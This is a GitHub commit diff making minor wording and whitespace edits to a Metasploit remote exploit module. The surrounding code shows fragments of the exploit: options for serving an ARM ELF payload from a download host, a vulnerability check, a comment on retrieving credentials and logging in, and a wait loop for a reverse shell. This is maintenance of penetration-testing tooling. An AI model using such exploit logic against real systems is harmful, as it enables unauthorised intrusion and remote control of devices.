add "check" & msftidy

MS-2855/keylogger-mettle-extension
Austin 2017-11-04 08:53:50 -04:00 committed by GitHub
parent 84599ed3fc
commit e783cb59ea
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 5 deletions

View File

@ -51,10 +51,10 @@ class MetasploitModule < Msf::Exploit::Remote
OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
])
end
def check
begin
res = send_request_cgi({
@ -218,13 +218,11 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
print_status("#{peer} - Connecting to target...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
end
#
# Information Retrieval, obtains creds and logs in
#
@ -336,7 +334,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Waits for shell to connect back to us, otherwise server stops and nothing is returned
#
def wait_for_connect
print_status("#{peer} - Waiting for shell to connect back to us...")
print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
waited = 0
while (@elf_sent)
select(nil, nil, nil, 1)